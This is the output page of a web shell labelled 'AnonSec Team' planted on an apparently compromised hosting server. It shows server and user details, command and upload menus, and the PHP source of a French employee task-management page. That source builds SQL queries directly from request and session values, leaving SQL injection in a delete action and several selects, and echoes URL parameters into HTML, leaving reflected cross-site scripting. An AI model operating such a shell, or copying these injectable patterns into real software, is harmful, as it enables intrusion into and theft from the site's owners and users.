AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/logmcpe/www/TEST/../TMCPRO/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TEST/../TMCPRO/pages/TacheSalarie.php

<?php

include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php'  ;
$pagemenu = basename($_SERVER["PHP_SELF"]) ;


if($_GET['action']=='sup')
	    {
			$tache_id=$_GET['id'];

	dbi_query(" DELETE FROM tache WHERE tache_id =  $tache_id") ;
	
          dbi_query(" DELETE FROM sous_tache WHERE `sous_tache`.`sous_tache_id` =   $tache_id") ;
	

	 header('Location:TacheSalarie.php?msg=Tache bien supprimé&color=success');

// exit() ;
		}
 include('file_tache.php');

// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
if(!empty($_GET['salarie_id']))
{
$_SESSION["salarie_id"]=$_GET['salarie_id'];

}
 $salarie_id=$_SESSION["salarie_id"] ;



$salarie_idd=$_SESSION["salarie_id"] ;





// header('Content-type: text/html; charset=UTF-8');
	?>





<!DOCTYPE html>
<html>

<head>

			<?php include('header.php'); ?>
			<!--
	  <script type="text/javascript" src="plugins/selectize/selectize.js"></script>
	<link rel="stylesheet" type="text/css" href="plugins/selectize/selectize.css" />
	<script type="text/javascript" src="plugins/selectize/selectize.min.js"></script>
	<link rel="stylesheet" type="text/css" href="plugins/selectize/selectize.default.css" />
	<link rel="stylesheet" href="../../plugins/summernote/summernote-bs4.css">







   
<script src="plugins/jQuery/jquery-2.2.3.min.js"></script>
<script src="bootstrap/js/bootstrap.min.js"></script>

<script src="plugins/datatables/jquery.dataTables.min.js"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js"></script>
<script src="plugins/slimScroll/jquery.slimscroll.min.js"></script>
-->
  <style type="text/css">
  .modal-backdrop {
    /* bug fix - no overlay */
    display: none;
}
</style>
</head>


<body class="hold-transition sidebar-mini">
												<!-- Site wrapper -->
<div class="wrapper">

<!-- TOP MENU -->
  <nav class="main-header navbar navbar-expand navbar-white navbar-light">
 <!-- Menu extensible -->
    <ul class="navbar-nav">
      <li class="nav-item">
        <a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
      </li>
	  &nbsp <li> <h3><a href="#myModal_tache_all"  id="custId" data-toggle="modal" >   <button type="button"  class="btn btn-primary" > <i class="fas fa-plus"></i> TACHE</button> </a></h3></li>

<!-- liens TOP MENU GAUCHE-->

    </ul>

 <!-- liens TOP MENU DROITE -->
    <ul class="navbar-nav ml-auto">
      <li class="nav-item">
      <a href="login.php?dec=1" class="nav-link">

      <i class="nav-icon fas fa-power-off"></i>


      </a>
      </li>
    </ul>

  </nav>  <!-- fin du TOP MENU -->


<!-- BARRE DE NAVIGATION -->


	<?php include('menu.php'); ?>

<div  class="modal fade" id="myModal_tache_all" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
  <div class="modal-dialog modal-lg">
    <div class="modal-content data">
		<div id="fetch_tache_all" ></div>


        </div>
    </div>
</div>

 <!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
 <div class="content-wrapper">

   <section class="content-header">
     <div class="container-fluid">
       <div class="row mb-2">
         <div class="col-sm-6">
           <h1><?php echo $q['salarie_nom']." ".$q['salarie_prenom'] ;?></h1>
         </div>
         <div class="col-sm-6">
           <ol class="breadcrumb float-sm-right">
             <li class="breadcrumb-item"><a href="index.php">Accueil</a></li>
             <li class="breadcrumb-item"><a href="salaries2.php">Salariés</a></li>
             <li class="breadcrumb-item active">Tâches </li>
           </ol>
         </div>
       </div>
     </div><!-- /.container-fluid -->
   </section>
   <!-- Content Header (Page header) -->

   <!-- PAGE PRINCIPALE -->
   <div class="content">
     <div class="container-fluid">





         <div class="col-lg-12">
     <!-- CARD DE DROITE-->
           <div class="card card-info">

           <?php include('menu_salarie_haut.php'); ?>

            <div class="card-body">

				<?php		      if(isset($_GET["msg"])){
        ?>
        <div class="alert alert-<?php echo $_GET["color"]; ?>  alert-dismissible col-12" role="alert">
          <strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
          <button type="button" class="close" data-dismiss="alert" aria-label="Close">
            <span aria-hidden="true">&times;</span>
          </button>
        </div>
        <?php
		// exit();
        }

       ?>



			    <?php

				$suivi = dbi_query(" SELECT * FROM  tache t,users u   where t.user_id = u.user_id and  salarie_id=$salarie_idd    ORDER BY t.date_creation DESC ") ;
				?>




													<div class="box-body">
														<table id="example1" class="table table-bordered table-striped">
															<thead>
																<TR>
																  <th align="center" colspan="4"> Titre </th>
																  <th align="center">Client </th>




																  <th align="center">Statut </th>
																	<th align="center">Priorité </th>
																  <th align="center">  Date de création </th>
																  <th align="center">  Suprimmer  </th>


																</TR>
															</thead>
                                                            <tbody>



																<?php while($a = dbi_fetch_row($suivi)){
																	
																		list($nbr) = dbi_fetch_row(dbi_query(" SELECT count(*) FROM `sous_tache` WHERE `tache_id` = ".$a['tache_id'])) ; 
															
															// echo  " SELECT count(*) FROM `sous_tache` WHERE `sous_tache_id` = ".$a['tache_id']."  --  $nbr  <br/>" ; 
															
															
																  list($sous_tache_id) = dbi_fetch_row(dbi_query("SELECT sous_tache_id FROM `sous_tache` WHERE `tache_id` = ".$a['tache_id']." AND `sous_tache_status` = 0 ")) ;
                                                                  
																  if($sous_tache_id >= 1 OR  $nbr == 0)
																  {
																	$tache_status="Pas complété";  
																	}else{ $tache_status="Complété";}
																	  

																	// if($a['tache_status']==0)
																	// {

																	// $tache_status="Pas complété";

																	// }else{ $tache_status="Complété";}

																	if($a['tache_Priorite']== 1)
																		{
																			$tache_Priorite= "Moyen" ;
																		}
																		elseif($a['tache_Priorite']== 2)
																		{
																			 $tache_Priorite= "Haute" ;
																		}
																		elseif($a['tache_Priorite']== 3)
																		{
																		$tache_Priorite= "Urgente" ;
																		}




																list($Admin_nom) = dbi_fetch_row( dbi_query("SELECT user_nom,user_prenom FROM `users` WHERE `user_id`  = ".$a['user_id'])) ;

																// list($salarie_nom ,$salarie_prenom ) = dbi_fetch_row( dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$a['inter_id'])) ;

																// $salarie_nomm = $salarie_nom." ".$salarie_prenom ;
																// exit() :
																 if($a['client_id']!= 0)
																	  {
																	  list($client_nom)= dbi_fetch_row(dbi_query("SELECT client_nom   FROM `client` WHERE `client_id` = ".$a['client_id'])) ;
																	  // echo "<br/>SELECT client_nom   FROM `client` WHERE `client_id` = ".$a['client_id'] ;
																	  }
																	  else
																	  { $client_nom = " <strong style='color:red;'> Pas de client concerné </strong>"; }
																  list($salarie_nom , $salarie_prenom)= dbi_fetch_row(dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$a['salarie_id'])) ;
																	if(empty($salarie_nom) AND empty($salarie_prenom))
																		{
																			$salarie_nom = " <strong style='color:red;'>Pas de " ;
																			$salarie_prenom = "salarié </strong> " ;
																		}









																											$page = "TacheSalarie.php" ;
																											
															 list($tache_sujet) =   dbi_fetch_row(dbi_query("  SELECT tache_sujet FROM `tache_titre` WHERE `tache_titre_id`  = ".$a['tache_titre_id'] )) ;
														   if(empty($tache_sujet)){
																$tache_sujet = $a['tache_sujet'] ;
														   }
			 
			 
			 list($nbr_sous_t) = dbi_fetch_row(dbi_query("SELECT count(*) as nbr_sous_t FROM `sous_tache` WHERE `tache_id` = ".$a['tache_id'])) ;

					?>


																<tr>

																<td colspan="4"> <a href="fetch_record2.php?rowid=<?=$a['tache_id']?>&page=<?=$page?>"> <?php echo $tache_sujet ; ?></a></td>
																<td> <?php echo $client_nom ; ?></td>





																<td> <?php echo $tache_status ; ?></td>
																<td> <?php echo $tache_Priorite; ?></td>
																<!-- <td> <?php //  echo $a['user_nom']." ".$a['user_prenom'] ; ?></td>  -->
															   <td> <?php echo int2date($a['date_creation']); ?></td>
															   
															   	<td>  
																<?php if($nbr_sous_t ==0){?>
																<a class="btn btn-danger btn-sm" href="?action=sup&id=<?=$a['tache_id']?>"  onclick="return confirm('Voulez-vous vraiment supprimer cette tache ?');">
																 <i class="fas fa-trash"></i> Supprimer
																</a>
																<?php }?>
																</td>



															    <?php }?>

															</tbody>
														</table><!-- /.table -->
													</div><!-- /.box-body -->




            <!-- /.card-body -->
          </div>
            <!-- /.card-body -->
          </div>
          <!-- /.card -->
        </div>
        <!-- /.col -->
      </div>
      <!-- /.row -->
    </section>


			</div>


              </div>
            </div>
          </div>
          <!-- /.col-md-6 -->
        </div>
        <!-- /.row -->
      </div><!-- /.container-fluid -->
    </div>


    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
    <div class="p-3">
      <h5>Title</h5>
      <p>Sidebar content</p>
    </div>
  </aside>
  <!-- /.control-sidebar -->
<?php include('footerr.php'); ?>

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<!-- jQuery -->




<script type="text/javascript">
$(document).ready(function(){
    $('#myModal_tache_all').on('show.bs.modal', function (e) {
        var rowid = $(e.relatedTarget).data('id');
        $.ajax({
            type : 'post',
            url : 'tache_ajax_nv_all_sal.php', //Here you will fetch records
            data :  'rowid='+ rowid, //Pass $id
            success : function(data){
            $('#fetch_tache_all').html(data);//Show fetched data from database
            }
        });
     });
});


</script>

</body>
</html>

AnonSec - 2021